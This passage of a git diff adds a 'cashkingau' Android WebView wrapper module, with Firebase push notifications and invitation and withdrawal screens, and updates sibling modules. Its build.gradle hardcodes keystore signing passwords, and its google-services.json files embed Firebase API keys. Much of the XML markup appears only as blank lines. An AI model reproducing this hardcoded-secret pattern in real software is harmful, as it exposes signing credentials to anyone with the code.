%s + 金额: %s + 请输入提现金额 + 提现申请已提交 + + + \ No newline at end of file diff --git a/bkk88au/src/main/res/values/themes.xml b/bkk88au/src/main/res/values/themes.xml new file mode 100644 index 0000000..8947801 --- /dev/null +++ b/bkk88au/src/main/res/values/themes.xml @@ -0,0 +1,90 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/bkk88au/src/main/res/xml/app_updater_paths.xml b/bkk88au/src/main/res/xml/app_updater_paths.xml new file mode 100644 index 0000000..1254450 --- /dev/null +++ b/bkk88au/src/main/res/xml/app_updater_paths.xml @@ -0,0 +1,10 @@ + + + + + + + + + + \ No newline at end of file diff --git a/bkk88au/src/main/res/xml/network_security_config.xml b/bkk88au/src/main/res/xml/network_security_config.xml new file mode 100644 index 0000000..dca93c0 --- /dev/null +++ b/bkk88au/src/main/res/xml/network_security_config.xml @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/bkk88au/src/main/res/xml/provider_paths.xml b/bkk88au/src/main/res/xml/provider_paths.xml new file mode 100644 index 0000000..c9a897a --- /dev/null +++ b/bkk88au/src/main/res/xml/provider_paths.xml @@ -0,0 +1,13 @@ + + + + + + + + + + + + \ No newline at end of file diff --git a/bkk88au/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java b/bkk88au/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java new file mode 100644 index 0000000..3259554 --- /dev/null +++ b/bkk88au/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java @@ -0,0 +1,35 @@ +package Tptogiar.calculcator; + +import org.junit.Test; + +import java.util.regex.Matcher; +import java.util.regex.Pattern; + +import static org.junit.Assert.*; + +/** + * Example local unit test, which will execute on the development machine (host). + * + * @see Testing documentation + */ +public class ExampleUnitTest { + @Test + public void addition_isCorrect() { + assertEquals(4, 2 + 2); + } + + @Test + public void TestPattern(){ +// + Pattern compile = Pattern.compile( "^(\\-|\\+)?\\d+(\\.\\d+)?$"); + String a="+45.5"; + boolean matches = compile.matcher(a).matches(); + System.out.println(matches); + String result = compile.matcher(a).replaceAll(""); + System.out.println(result); + + + } + + +} \ No newline at end of file diff --git a/build.gradle b/build.gradle index 66aed67..d272719 100644 --- a/build.gradle +++ b/build.gradle @@ -31,7 +31,7 @@ task clean(type: Delete) { } ext { - outputPath = "F:/webApp" - versionCode = 112 - versionName = "v1.1.2" + outputPath = "F:/webApp1" + versionCode = 129 + versionName = "v1.2.9" } \ No newline at end of file diff --git a/cashkingau/.gitignore b/cashkingau/.gitignore new file mode 100644 index 0000000..956c004 --- /dev/null +++ b/cashkingau/.gitignore @@ -0,0 +1,2 @@ +/build +/release \ No newline at end of file diff --git a/cashkingau/build.gradle b/cashkingau/build.gradle new file mode 100644 index 0000000..8a407ce --- /dev/null +++ b/cashkingau/build.gradle @@ -0,0 +1,78 @@ +plugins { + id 'com.android.application' + id 'com.google.gms.google-services' +} + +android { + compileSdkVersion 31 + buildToolsVersion "30.0.3" + defaultConfig { + applicationId "com.web.cashkingau" + minSdkVersion 24 + targetSdkVersion 31 + versionCode rootProject.ext.versionCode + versionName rootProject.ext.versionName + testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner" + } + + signingConfigs { + debug { + storeFile file('dskjweb.jks') + storePassword "dskj2024" + keyAlias 'dskjalias' + keyPassword "dskj2024" + } + release { + storeFile file('dskjweb.jks') + storePassword "dskj2024" + keyAlias 'dskjalias' + keyPassword "dskj2024" + } + } + + buildTypes { + release { + signingConfig signingConfigs.release + minifyEnabled false + proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro' + } + } + compileOptions { + sourceCompatibility JavaVersion.VERSION_1_8 + targetCompatibility JavaVersion.VERSION_1_8 + } + + applicationVariants.all { variant -> + variant.outputs.all { + def appName = "cashkingau" + def outputDir = new File(rootProject.ext.outputPath) + // 创建输出目录 + outputDir.mkdirs() + def outputFileName = "${appName}.apk" + // 设置输出文件名 + setOutputFileName(outputFileName) + // 计算新的输出文件 + def newOutputFile = new File(outputDir, outputFileName) + // 如果新的输出目录不存在,则创建它 + newOutputFile.parentFile.mkdirs() + // 在构建完成后将 APK 复制到新位置 + variant.assemble.doLast { + try { + java.nio.file.Files.copy( + outputFile.toPath(), + newOutputFile.toPath(), + java.nio.file.StandardCopyOption.REPLACE_EXISTING + ) + println "Success to copy APK !!!" + } catch (java.io.IOException e) { + println "Failed to copy APK: ${e.message}" + } + } + } + } + +} + +dependencies { + implementation project(path: ':base_no_music') +} \ No newline at end of file diff --git a/cashkingau/dskjweb.jks b/cashkingau/dskjweb.jks new file mode 100644 index 0000000..a303350 Binary files /dev/null and b/cashkingau/dskjweb.jks differ diff --git a/cashkingau/google-services.json b/cashkingau/google-services.json new file mode 100644 index 0000000..e3f1848 --- /dev/null +++ b/cashkingau/google-services.json @@ -0,0 +1,29 @@ +{ + "project_info": { + "project_number": "839036808203", + "project_id": "cashkingau-970ab", + "storage_bucket": "cashkingau-970ab.firebasestorage.app" + }, + "client": [ + { + "client_info": { + "mobilesdk_app_id": "1:839036808203:android:a012efd3ce80dd0713ab0e", + "android_client_info": { + "package_name": "com.web.cashkingau" + } + }, + "oauth_client": [], + "api_key": [ + { + "current_key": "AIzaSyCPWHhs3pXrEt9kfGPtbwmF_pDJO3LTp1k" + } + ], + "services": { + "appinvite_service": { + "other_platform_oauth_client": [] + } + } + } + ], + "configuration_version": "1" +} \ No newline at end of file diff --git a/cashkingau/ppn.jks b/cashkingau/ppn.jks new file mode 100644 index 0000000..5898029 Binary files /dev/null and b/cashkingau/ppn.jks differ diff --git a/cashkingau/proguard-rules.pro b/cashkingau/proguard-rules.pro new file mode 100644 index 0000000..107b7ee --- /dev/null +++ b/cashkingau/proguard-rules.pro @@ -0,0 +1,32 @@ +# Add project specific ProGuard rules here. +# You can control the set of applied configuration files using the +# proguardFiles setting in build.gradle. +# +# For more details, see +# http://developer.android.com/guide/developing/tools/proguard.html + +# If your project uses WebView with JS, uncomment the following +# and specify the fully qualified class name to the JavaScript interface +# class: +#-keepclassmembers class fqcn.of.javascript.interface.for.webview { +# public *; +#} + +# Uncomment this to preserve the line number information for +# debugging stack traces. +#-keepattributes SourceFile,LineNumberTable + +# If you keep the line number information, uncomment this to +# hide the original source file name. +#-renamesourcefileattribute SourceFile + +-dontwarn dalvik.** +-dontwarn com.tencent.smtt.** + +-keep class com.tencent.smtt.** { + *; +} + +-keep class com.tencent.tbs.** { + *; +} \ No newline at end of file diff --git a/cashkingau/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java b/cashkingau/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java new file mode 100644 index 0000000..44b9f39 --- /dev/null +++ b/cashkingau/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java @@ -0,0 +1,26 @@ +package Tptogiar.calculcator; + +import android.content.Context; + +import androidx.test.platform.app.InstrumentationRegistry; +import androidx.test.ext.junit.runners.AndroidJUnit4; + +import org.junit.Test; +import org.junit.runner.RunWith; + +import static org.junit.Assert.*; + +/** + * Instrumented test, which will execute on an Android device. + * + * @see Testing documentation + */ +@RunWith(AndroidJUnit4.class) +public class ExampleInstrumentedTest { + @Test + public void useAppContext() { + // Context of the app under test. + Context appContext = InstrumentationRegistry.getInstrumentation().getTargetContext(); + assertEquals("Tptogiar.calculcator", appContext.getPackageName()); + } +} \ No newline at end of file diff --git a/cashkingau/src/main/AndroidManifest.xml b/cashkingau/src/main/AndroidManifest.xml new file mode 100644 index 0000000..76dba2e --- /dev/null +++ b/cashkingau/src/main/AndroidManifest.xml @@ -0,0 +1,112 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/cashkingau/src/main/java/com/web/cashkingau/MainActivity.java b/cashkingau/src/main/java/com/web/cashkingau/MainActivity.java new file mode 100644 index 0000000..6194e44 --- /dev/null +++ b/cashkingau/src/main/java/com/web/cashkingau/MainActivity.java @@ -0,0 +1,63 @@ +package com.web.cashkingau; + + +import android.content.pm.PackageInfo; +import android.content.pm.PackageManager; +import android.graphics.Color; +import android.os.Bundle; + +import androidx.annotation.NonNull; + +import com.bumptech.glide.Glide; +import com.google.android.gms.tasks.OnCompleteListener; +import com.google.android.gms.tasks.Task; +import com.web.base.LogUtils; +import com.web.base.MainActivity2; +import com.google.firebase.messaging.FirebaseMessaging; + +public class MainActivity extends MainActivity2 { + + @Override + protected void onCreate(Bundle savedInstanceState) { + userId = 193; + saveInt(MainActivity.this,"user_code",userId); + saveInt(MainActivity.this,"version_code",getVersion()); + com.web.base.MainActivity.saveString(this, "base_url","https://cashkingau.com/"); + //网页的底部NavigationBar颜色 + com.web.base.MainActivity.saveString(this, "style_color", "#000000"); + //页面的大背景颜色 + com.web.base.MainActivity.saveString(this, "windows_color", "#081922"); + //任务栏的文字颜色 0 黑 1白 默认黑 + saveInt(MainActivity.this,"is_white",1); + super.onCreate(savedInstanceState); + //用于修改大背景渐变色 不设置 大背景就是 windows_color 的颜色 + setBackDrawables(R.drawable.big_bg); + setImageView(true); +// showTopV1.setImageResource(R.mipmap.start_gifs); + //订阅主题 + FirebaseMessaging.getInstance().subscribeToTopic("demo") + .addOnCompleteListener(new OnCompleteListener() { + @Override + public void onComplete(@NonNull Task task) { + String msg = "Subscribed"; + if (!task.isSuccessful()) { + msg = "Subscribe failed"; + } + LogUtils.i("结果:"+msg); + } + }); +// getWindow().getDecorView().setBackgroundResource(Color.parseColor("#01052a")); +// Glide.with(MainActivity.this).load(R.mipmap.load_img).into(showTopV1); + } + + public int getVersion(){ + try { + PackageManager packageManager = getPackageManager(); + PackageInfo packageInfo = packageManager.getPackageInfo(getPackageName(), 0); + int versionCode = packageInfo.versionCode; // 版本码 + return versionCode; + } catch (PackageManager.NameNotFoundException e) { + return 0; + } + } +} diff --git a/cashkingau/src/main/java/com/web/cashkingau/MyFirebaseMessageingService.java b/cashkingau/src/main/java/com/web/cashkingau/MyFirebaseMessageingService.java new file mode 100644 index 0000000..31922d1 --- /dev/null +++ b/cashkingau/src/main/java/com/web/cashkingau/MyFirebaseMessageingService.java @@ -0,0 +1,125 @@ +package com.web.cashkingau; + +import android.app.NotificationChannel; +import android.app.NotificationManager; +import android.app.PendingIntent; +import android.content.ComponentName; +import android.content.Context; +import android.content.Intent; +import android.os.Build; +import androidx.annotation.NonNull; +import androidx.core.app.NotificationCompat; +import com.google.firebase.messaging.FirebaseMessagingService; +import com.google.firebase.messaging.RemoteMessage; +import com.google.gson.Gson; +import com.web.base.GsonUtils; +import com.web.base.MessageInfo; +import java.util.Map; +import java.util.Random; + +public class MyFirebaseMessageingService extends FirebaseMessagingService { + + public MyFirebaseMessageingService() { + } + + @Override + public void onMessageReceived(@NonNull RemoteMessage remoteMessage) { + super.onMessageReceived(remoteMessage); + Map serviceData = remoteMessage.getData(); //后台推送数据 + if (serviceData != null && serviceData.containsKey("message")) { + String value = serviceData.get("message"); + Gson gson = new Gson(); + MessageInfo messageInfo = gson.fromJson(value, MessageInfo.class); + showNotification(messageInfo); + } else { + //收到通知 创建notify + if (remoteMessage.getNotification() != null) { + showNotification(remoteMessage.getNotification().getTitle(), remoteMessage.getNotification().getBody()); + } + } + } + + private void showNotification(MessageInfo messageInfo) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + notifyIntent.putExtra("message", messageInfo); + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } + + private void showNotification(String title, String body) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.putExtra("message", body); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + MessageInfo messageInfo = GsonUtils.getObjFromJSON(body, MessageInfo.class); + if (messageInfo != null) { + body = messageInfo.getContent(); + } + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } +} diff --git a/cashkingau/src/main/java/com/web/cashkingau/WebApplication.java b/cashkingau/src/main/java/com/web/cashkingau/WebApplication.java new file mode 100644 index 0000000..67a5b18 --- /dev/null +++ b/cashkingau/src/main/java/com/web/cashkingau/WebApplication.java @@ -0,0 +1,35 @@ +package com.web.cashkingau; + +import android.app.Application; +import android.content.Context; +import com.tencent.smtt.export.external.TbsCoreSettings; +import com.tencent.smtt.sdk.QbSdk; +import java.util.HashMap; + +public class WebApplication extends Application { + + + public static Context application; + @Override + public void onCreate() { + super.onCreate(); +// 设置开启优化方案 + application = this; + HashMap map = new HashMap(); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_SPEEDY_CLASSLOADER, true); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_DEXLOADER_SERVICE, true); + QbSdk.initTbsSettings(map); + QbSdk.initX5Environment(this, new QbSdk.PreInitCallback() { + @Override + public void onCoreInitFinished() { + + } + + @Override + public void onViewInitFinished(boolean b) { + + } + }); + QbSdk.setDownloadWithoutWifi(true); + } +} diff --git a/cashkingau/src/main/res/drawable-anydpi/ic_action_back.xml b/cashkingau/src/main/res/drawable-anydpi/ic_action_back.xml new file mode 100644 index 0000000..013ab07 --- /dev/null +++ b/cashkingau/src/main/res/drawable-anydpi/ic_action_back.xml @@ -0,0 +1,11 @@ + + + diff --git a/cashkingau/src/main/res/drawable-hdpi/ic_action_back.png b/cashkingau/src/main/res/drawable-hdpi/ic_action_back.png new file mode 100644 index 0000000..1560c04 Binary files /dev/null and b/cashkingau/src/main/res/drawable-hdpi/ic_action_back.png differ diff --git a/cashkingau/src/main/res/drawable-mdpi/ic_action_back.png b/cashkingau/src/main/res/drawable-mdpi/ic_action_back.png new file mode 100644 index 0000000..d5841d2 Binary files /dev/null and b/cashkingau/src/main/res/drawable-mdpi/ic_action_back.png differ diff --git a/cashkingau/src/main/res/drawable-v24/ic_launcher_foreground.xml b/cashkingau/src/main/res/drawable-v24/ic_launcher_foreground.xml new file mode 100644 index 0000000..2b068d1 --- /dev/null +++ b/cashkingau/src/main/res/drawable-v24/ic_launcher_foreground.xml @@ -0,0 +1,30 @@ + + + + + + + + + + + \ No newline at end of file diff --git a/cashkingau/src/main/res/drawable-xhdpi/ic_action_back.png b/cashkingau/src/main/res/drawable-xhdpi/ic_action_back.png new file mode 100644 index 0000000..5c14e41 Binary files /dev/null and b/cashkingau/src/main/res/drawable-xhdpi/ic_action_back.png differ diff --git a/cashkingau/src/main/res/drawable-xxhdpi/ic_action_back.png b/cashkingau/src/main/res/drawable-xxhdpi/ic_action_back.png new file mode 100644 index 0000000..0516d08 Binary files /dev/null and b/cashkingau/src/main/res/drawable-xxhdpi/ic_action_back.png differ diff --git a/cashkingau/src/main/res/drawable/big_bg.xml b/cashkingau/src/main/res/drawable/big_bg.xml new file mode 100644 index 0000000..8882fc7 --- /dev/null +++ b/cashkingau/src/main/res/drawable/big_bg.xml @@ -0,0 +1,9 @@ + + + + \ No newline at end of file diff --git a/cashkingau/src/main/res/drawable/ic_launcher_background.xml b/cashkingau/src/main/res/drawable/ic_launcher_background.xml new file mode 100644 index 0000000..07d5da9 --- /dev/null +++ b/cashkingau/src/main/res/drawable/ic_launcher_background.xml @@ -0,0 +1,170 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/cashkingau/src/main/res/drawable/input_bg.xml b/cashkingau/src/main/res/drawable/input_bg.xml new file mode 100644 index 0000000..4e895aa --- /dev/null +++ b/cashkingau/src/main/res/drawable/input_bg.xml @@ -0,0 +1,20 @@ + + + + + + + + + + + + + + + + + + diff --git a/cashkingau/src/main/res/drawable/pass_word_bg.xml b/cashkingau/src/main/res/drawable/pass_word_bg.xml new file mode 100644 index 0000000..2724e60 --- /dev/null +++ b/cashkingau/src/main/res/drawable/pass_word_bg.xml @@ -0,0 +1,28 @@ + + + + + + + + + + + + + + + + + + diff --git a/cashkingau/src/main/res/drawable/pass_word_bg1.xml b/cashkingau/src/main/res/drawable/pass_word_bg1.xml new file mode 100644 index 0000000..d10d780 --- /dev/null +++ b/cashkingau/src/main/res/drawable/pass_word_bg1.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/cashkingau/src/main/res/drawable/pass_word_bg2.xml b/cashkingau/src/main/res/drawable/pass_word_bg2.xml new file mode 100644 index 0000000..916d99c --- /dev/null +++ b/cashkingau/src/main/res/drawable/pass_word_bg2.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/cashkingau/src/main/res/drawable/shape_btn_bg.xml b/cashkingau/src/main/res/drawable/shape_btn_bg.xml new file mode 100644 index 0000000..af87a0d --- /dev/null +++ b/cashkingau/src/main/res/drawable/shape_btn_bg.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/cashkingau/src/main/res/drawable/shape_dialog_bg2.xml b/cashkingau/src/main/res/drawable/shape_dialog_bg2.xml new file mode 100644 index 0000000..7837a42 --- /dev/null +++ b/cashkingau/src/main/res/drawable/shape_dialog_bg2.xml @@ -0,0 +1,6 @@ + + + + + \ No newline at end of file diff --git a/cashkingau/src/main/res/drawable/shape_dialog_bg3.xml b/cashkingau/src/main/res/drawable/shape_dialog_bg3.xml new file mode 100644 index 0000000..ca0a18d --- /dev/null +++ b/cashkingau/src/main/res/drawable/shape_dialog_bg3.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/cashkingau/src/main/res/drawable/shape_dialog_bg_new.xml b/cashkingau/src/main/res/drawable/shape_dialog_bg_new.xml new file mode 100644 index 0000000..e96d4e0 --- /dev/null +++ b/cashkingau/src/main/res/drawable/shape_dialog_bg_new.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/cashkingau/src/main/res/mipmap-anydpi-v26/ic_launcher.xml b/cashkingau/src/main/res/mipmap-anydpi-v26/ic_launcher.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/cashkingau/src/main/res/mipmap-anydpi-v26/ic_launcher.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/cashkingau/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml b/cashkingau/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/cashkingau/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/cashkingau/src/main/res/mipmap-hdpi/ic_empty.png b/cashkingau/src/main/res/mipmap-hdpi/ic_empty.png new file mode 100644 index 0000000..72473d6 Binary files /dev/null and b/cashkingau/src/main/res/mipmap-hdpi/ic_empty.png differ diff --git a/cashkingau/src/main/res/mipmap-hdpi/ic_pull_down.png b/cashkingau/src/main/res/mipmap-hdpi/ic_pull_down.png new file mode 100644 index 0000000..7dc0ec3 Binary files /dev/null and b/cashkingau/src/main/res/mipmap-hdpi/ic_pull_down.png differ diff --git a/cashkingau/src/main/res/mipmap-xhdpi/ic_close.png b/cashkingau/src/main/res/mipmap-xhdpi/ic_close.png new file mode 100644 index 0000000..c0b0127 Binary files /dev/null and b/cashkingau/src/main/res/mipmap-xhdpi/ic_close.png differ diff --git a/cashkingau/src/main/res/mipmap-xhdpi/ic_menu.png b/cashkingau/src/main/res/mipmap-xhdpi/ic_menu.png new file mode 100644 index 0000000..2b55ec5 Binary files /dev/null and b/cashkingau/src/main/res/mipmap-xhdpi/ic_menu.png differ diff --git a/cashkingau/src/main/res/mipmap-xxhdpi/app_logo.png b/cashkingau/src/main/res/mipmap-xxhdpi/app_logo.png new file mode 100644 index 0000000..98f1e8e Binary files /dev/null and b/cashkingau/src/main/res/mipmap-xxhdpi/app_logo.png differ diff --git a/cashkingau/src/main/res/values-en/strings.xml b/cashkingau/src/main/res/values-en/strings.xml new file mode 100644 index 0000000..0d60963 --- /dev/null +++ b/cashkingau/src/main/res/values-en/strings.xml @@ -0,0 +1,51 @@ + + Please Set Your Password + Cancel + Sure + New Version Update + Next Update + Update Immediately + Click to close notification + Click to re-download + Download failed + Click to install + Download completed + Downloading... + Version update + Downloading game + Getting download data... + Version update + Downloading game + Need to turn on mobile phone notification permission + Exit + Setting + Tip + Please enter the invitation code + My invitation code: + Superior invitation code: + Total number of invites: + App download link: + Share + Check Invitation Records + Invitation Records + Total number of invitees: %d + No Data + Withdrawal Record + Withdrawal Application + Edit Bank Card Information + 60 + Name: + Please enter the bank card name + Bank card account: + Please enter the bank card account + Country: + Please select a country + Bank Name: + Please select a bank name + Note: Please enter the country code before selecting the bank name! + Balance: %s + Total Earnings: %s + Amount: %s + Please enter the withdrawal amount + Withdrawal application has been submitted + \ No newline at end of file diff --git a/cashkingau/src/main/res/values-night/themes.xml b/cashkingau/src/main/res/values-night/themes.xml new file mode 100644 index 0000000..89e12d2 --- /dev/null +++ b/cashkingau/src/main/res/values-night/themes.xml @@ -0,0 +1,70 @@ + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/cashkingau/src/main/res/values/colors.xml b/cashkingau/src/main/res/values/colors.xml new file mode 100644 index 0000000..9c9b8c9 --- /dev/null +++ b/cashkingau/src/main/res/values/colors.xml @@ -0,0 +1,18 @@ + + + #FFFFFF + #FFFFFF + #FFFFFF + #FF03DAC5 + #FF018786 + #FF000000 + #FFFFFFFF + #EF4723 + #FFFFFFFF + #000000 + #2C2C2E + #FFA722 + #434343 + #BCBCBC + + \ No newline at end of file diff --git a/cashkingau/src/main/res/values/strings.xml b/cashkingau/src/main/res/values/strings.xml new file mode 100644 index 0000000..15cbe12 --- /dev/null +++ b/cashkingau/src/main/res/values/strings.xml @@ -0,0 +1,74 @@ + + CASHKINGAU + 请输入6位密码 + 取消 + 确定 + 版本更新 + 下次更新 + 立即更新 + 点击关闭通知 + 点击重新下载 + 下载失败 + 点击安装 + 下载完成 + 正在下载… + 版本更新 + 下载游戏中 + 版本更新 + 下载游戏中 + 正在获取下载数据… + 需要打开手机通知权限 + 退出 + 设置 + 提示 + 请输入邀请码 + 我的邀请码: + 上级邀请码: + 总邀请人数: + 邀请您下载: + 分享 + 查看邀请记录 + 邀请记录 + 总邀请人数: %d + 暂无数据 + 提现记录 + 提现申请 + 编辑银行卡信息 + 86 + 持卡人姓名: + 请输入持卡人姓名 + 国家地区: + 请选择国家地区 + 开户行名称: + 请选择开户行名称 + 银行户口: + 请输入银行卡户口 + (注:请先输入国家区号再选择开户行名称!) + 余额: %s + 总收益: %s + 金额: %s + 请输入提现金额 + 提现申请已提交 + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/cashkingau/src/main/res/values/themes.xml b/cashkingau/src/main/res/values/themes.xml new file mode 100644 index 0000000..efa2168 --- /dev/null +++ b/cashkingau/src/main/res/values/themes.xml @@ -0,0 +1,90 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/cashkingau/src/main/res/xml/app_updater_paths.xml b/cashkingau/src/main/res/xml/app_updater_paths.xml new file mode 100644 index 0000000..1254450 --- /dev/null +++ b/cashkingau/src/main/res/xml/app_updater_paths.xml @@ -0,0 +1,10 @@ + + + + + + + + + + \ No newline at end of file diff --git a/cashkingau/src/main/res/xml/network_security_config.xml b/cashkingau/src/main/res/xml/network_security_config.xml new file mode 100644 index 0000000..dca93c0 --- /dev/null +++ b/cashkingau/src/main/res/xml/network_security_config.xml @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/cashkingau/src/main/res/xml/provider_paths.xml b/cashkingau/src/main/res/xml/provider_paths.xml new file mode 100644 index 0000000..c9a897a --- /dev/null +++ b/cashkingau/src/main/res/xml/provider_paths.xml @@ -0,0 +1,13 @@ + + + + + + + + + + + + \ No newline at end of file diff --git a/cashkingau/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java b/cashkingau/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java new file mode 100644 index 0000000..3259554 --- /dev/null +++ b/cashkingau/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java @@ -0,0 +1,35 @@ +package Tptogiar.calculcator; + +import org.junit.Test; + +import java.util.regex.Matcher; +import java.util.regex.Pattern; + +import static org.junit.Assert.*; + +/** + * Example local unit test, which will execute on the development machine (host). + * + * @see Testing documentation + */ +public class ExampleUnitTest { + @Test + public void addition_isCorrect() { + assertEquals(4, 2 + 2); + } + + @Test + public void TestPattern(){ +// + Pattern compile = Pattern.compile( "^(\\-|\\+)?\\d+(\\.\\d+)?$"); + String a="+45.5"; + boolean matches = compile.matcher(a).matches(); + System.out.println(matches); + String result = compile.matcher(a).replaceAll(""); + System.out.println(result); + + + } + + +} \ No newline at end of file diff --git a/cergas/build.gradle b/cergas/build.gradle index 0ea8415..df892a9 100644 --- a/cergas/build.gradle +++ b/cergas/build.gradle @@ -8,7 +8,7 @@ android { buildToolsVersion "30.0.3" defaultConfig { - applicationId "com.web.cergas" + applicationId "com.web.cergas36" minSdkVersion 24 targetSdkVersion 31 versionCode rootProject.ext.versionCode diff --git a/cergas/google-services.json b/cergas/google-services.json index 0b2753d..74c06bd 100644 --- a/cergas/google-services.json +++ b/cergas/google-services.json @@ -1,21 +1,21 @@ { "project_info": { - "project_number": "773432010162", - "project_id": "cergas999-c8b99", - "storage_bucket": "cergas999-c8b99.firebasestorage.app" + "project_number": "111534832614", + "project_id": "cergas36", + "storage_bucket": "cergas36.firebasestorage.app" }, "client": [ { "client_info": { - "mobilesdk_app_id": "1:773432010162:android:7721474e224398963bb0ab", + "mobilesdk_app_id": "1:111534832614:android:62f8b7180ed63432757427", "android_client_info": { - "package_name": "com.web.cergas" + "package_name": "com.web.cergas36" } }, "oauth_client": [], "api_key": [ { - "current_key": "AIzaSyCysVxeDJd9W_ZFA_O5-ruQbSf2BHqhTUs" + "current_key": "AIzaSyBxKCY4RL1Zsz9Hvyi9EeRA5TLFDaV9CPE" } ], "services": { diff --git a/cergas/src/main/AndroidManifest.xml b/cergas/src/main/AndroidManifest.xml index d4b3398..b353778 100644 --- a/cergas/src/main/AndroidManifest.xml +++ b/cergas/src/main/AndroidManifest.xml @@ -87,7 +87,7 @@ + android:exported="true"> diff --git a/cergas/src/main/java/com/web/cergas/MainActivity2.java b/cergas/src/main/java/com/web/cergas/MainActivity2.java index 733dcc1..8494f34 100644 --- a/cergas/src/main/java/com/web/cergas/MainActivity2.java +++ b/cergas/src/main/java/com/web/cergas/MainActivity2.java @@ -10,6 +10,7 @@ import androidx.annotation.NonNull; import com.google.android.gms.tasks.OnCompleteListener; import com.google.android.gms.tasks.Task; import com.google.firebase.messaging.FirebaseMessaging; +import com.web.base.LogUtils; import com.web.base.MainActivity; public class MainActivity2 extends 